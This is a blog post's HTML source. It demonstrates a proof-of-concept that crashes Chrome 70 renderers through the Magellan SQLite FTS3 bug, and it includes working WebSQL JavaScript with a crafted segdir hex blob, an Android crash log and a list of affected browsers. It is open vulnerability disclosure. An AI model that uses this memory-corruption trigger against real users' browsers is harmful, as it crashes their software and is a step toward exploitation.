136 lines
No EOL
5.8 KiB
HTML
136 lines
No EOL
5.8 KiB
HTML
<!---
|
|
title: Crash Chrome 70 with the SQLite Magellan bug
|
|
categories: chrome
|
|
permalink: /sqlitebug/
|
|
layout: post
|
|
---!>
|
|
|
|
<p>This proof-of-concept crashes the Chrome renderer process using <a href="https://blade.tencent.com/magellan/index_en.html">Tencent Blade Team's Magellan SQLite3 bug</a>. It's based on <a href="https://www.sqlite.org/src/info/940f2adc8541a838">a SQLite test case</a> from the commit that fixed the bug.</p>
|
|
|
|
<p><span id="prompttext">If you're using Chrome 70 or below, tap the button below to crash this page:</span></p>
|
|
<button onClick="crash()" style="font-size: 150%">Crash this page</button>
|
|
<p>Your browser's user agent is: <span id="browserUserAgent">not available without JavaScript. Turn it on!</span></p>
|
|
|
|
<p><a href="https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html">Source code for this page on GitHub</a>.</p>
|
|
|
|
<h1>Sign up for more information</h1>
|
|
<p>I'm working on understanding how this issue affects browsers. To get notified when I update this page, please sign up to my mailing list:</p>
|
|
<form action="https://worthdoingbadly.us18.list-manage.com/subscribe/post?u=3f9820ca33ce6a7b1e682c9ac&id=014e6793b7&SIGNUP=inline-sqlitebug" method="post" id="mc-embedded-subscribe-form-inline" name="mc-embedded-subscribe-form-inline" class="validate" target="_blank">
|
|
<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL" placeholder="Email">
|
|
<div style="position: absolute; left: -5000px;" aria-hidden="true"><input type="text" name="b_3f9820ca33ce6a7b1e682c9ac_014e6793b7" tabindex="-1" value=""></div>
|
|
<input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button">
|
|
</form>
|
|
|
|
<h1>What's supposed to happen?</h1>
|
|
<p>After you press the button, the page should crash:</p>
|
|
<p><img src="/assets/blog/sqlitebug/sqlite_cropped.png" alt="screenshot"></p>
|
|
<p>On Android 5.1, I get a segfault in memcpy:</p>
|
|
<pre style="font-size: 10px">
|
|
F/libc ( 3801): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xe0ddb457 in tid 3854 (Database thread)
|
|
I/DEBUG ( 142): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
|
I/DEBUG ( 142): Build fingerprint: 'google/nakasi/grouper:5.1/LMY47D/1743759:user/release-keys'
|
|
I/DEBUG ( 142): Revision: '0'
|
|
I/DEBUG ( 142): ABI: 'arm'
|
|
I/DEBUG ( 142): pid: 3801, tid: 3854, name: Database thread >>> com.android.chrome:sandboxed_process6 <<<
|
|
I/DEBUG ( 142): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xe0ddb457
|
|
I/DEBUG ( 142): r0 e0ddb457 r1 611be0ab r2 00000002 r3 ff000000
|
|
I/DEBUG ( 142): r4 611be038 r5 00000002 r6 611be0a9 r7 7fffffff
|
|
I/DEBUG ( 142): r8 00000001 r9 611be0ab sl 80000001 fp 00000000
|
|
I/DEBUG ( 142): ip 00000066 sp 6defd3a0 lr 00000074 pc 4025eb62 cpsr 680f2430
|
|
I/DEBUG ( 142):
|
|
I/DEBUG ( 142): backtrace:
|
|
I/DEBUG ( 142): #00 pc 0000fb62 /system/lib/libc.so (__memcpy_base+217)
|
|
I/DEBUG ( 142): #01 pc 018d0e1d /data/app/com.android.chrome-1/base.apk
|
|
</pre>
|
|
|
|
<h1>What's affected?</h1>
|
|
<p>Affected: tested, causes one tab/one window to crash:</p>
|
|
<ul>
|
|
<li>Chrome 70.0.3538.110 on Android 5.1 and 9</li>
|
|
<li>Electron 2.0.12 on macOS 10.14</li>
|
|
</ul>
|
|
<p>Not affected:</p>
|
|
<ul>
|
|
<li>Chrome 71.0.3578.98 on Android 8.1 (already fixed)</li>
|
|
<li>Safari (doesn't have FTS enabled in SQLite3)</li>
|
|
<li>Browsers not based on Chrome (no WebSQL support)</li>
|
|
</ul>
|
|
|
|
<script>
|
|
// https://gist.github.com/nolanlawson/0264938033aca2201012
|
|
// https://www.sqlite.org/src/info/940f2adc8541a838
|
|
const db = openDatabase('fts_demo', 1, 'fts_demo', 5000000);
|
|
|
|
const firstStatements = [
|
|
"DROP TABLE IF EXISTS ft;",
|
|
"CREATE VIRTUAL TABLE ft USING fts3;",
|
|
"INSERT INTO ft VALUES('aback');",
|
|
"INSERT INTO ft VALUES('abaft');",
|
|
"INSERT INTO ft VALUES('abandon');",
|
|
];
|
|
|
|
const secondStatements = [
|
|
"SELECT quote(root) from ft_segdir;",
|
|
"UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';",
|
|
"SELECT * FROM ft WHERE ft MATCH 'abandon';"
|
|
];
|
|
|
|
function dbSuccess() {
|
|
console.log("success");
|
|
console.log(arguments);
|
|
}
|
|
|
|
function dbErr() {
|
|
console.log("err");
|
|
console.log(arguments);
|
|
}
|
|
|
|
function runAll(statements, success) {
|
|
db.transaction((tx) => {
|
|
console.log("alive");
|
|
for (const statement of statements) {
|
|
console.log("queueing " + statement);
|
|
tx.executeSql(statement, [], dbSuccess, dbErr);
|
|
}
|
|
console.log("queued");
|
|
}, dbErr, success);
|
|
}
|
|
function crash() {
|
|
runAll(firstStatements, (event) => {
|
|
console.log(event);
|
|
runAll(secondStatements, (event) => {
|
|
console.log(event);
|
|
});
|
|
});
|
|
}
|
|
// onload
|
|
function getChromeVersion(userAgent) {
|
|
for (const part of userAgent.split(" ")) {
|
|
if (part.startsWith("Chrome/") || part.startsWith("Chromium/")) {
|
|
return part.substring(part.indexOf("/") + 1);
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
function isChromeSupported(chromeVersion) {
|
|
if (chromeVersion == null) return false;
|
|
const firstPart = chromeVersion.substring(0, chromeVersion.indexOf("."));
|
|
return parseInt(firstPart) <= 70;
|
|
}
|
|
function getPromptText(userAgent) {
|
|
const chromeVersion = getChromeVersion(userAgent);
|
|
if (chromeVersion == null) {
|
|
return "This demo only works on Chrome 70 or below. Open this page in Chrome 70, then tap the button.";
|
|
}
|
|
const chromeOK = isChromeSupported(chromeVersion);
|
|
if (chromeOK) {
|
|
return "You're using Chrome 70 or below, so you may be vulnerable. Tap the button to crash this page.";
|
|
}
|
|
return "Your Chrome is too new. Open this page in Chrome 70, then tap the button.";
|
|
}
|
|
function onLoad() {
|
|
document.getElementById("browserUserAgent").textContent = navigator.userAgent;
|
|
document.getElementById("prompttext").textContent = getPromptText(navigator.userAgent);
|
|
}
|
|
window.onload = onLoad;
|
|
</script> |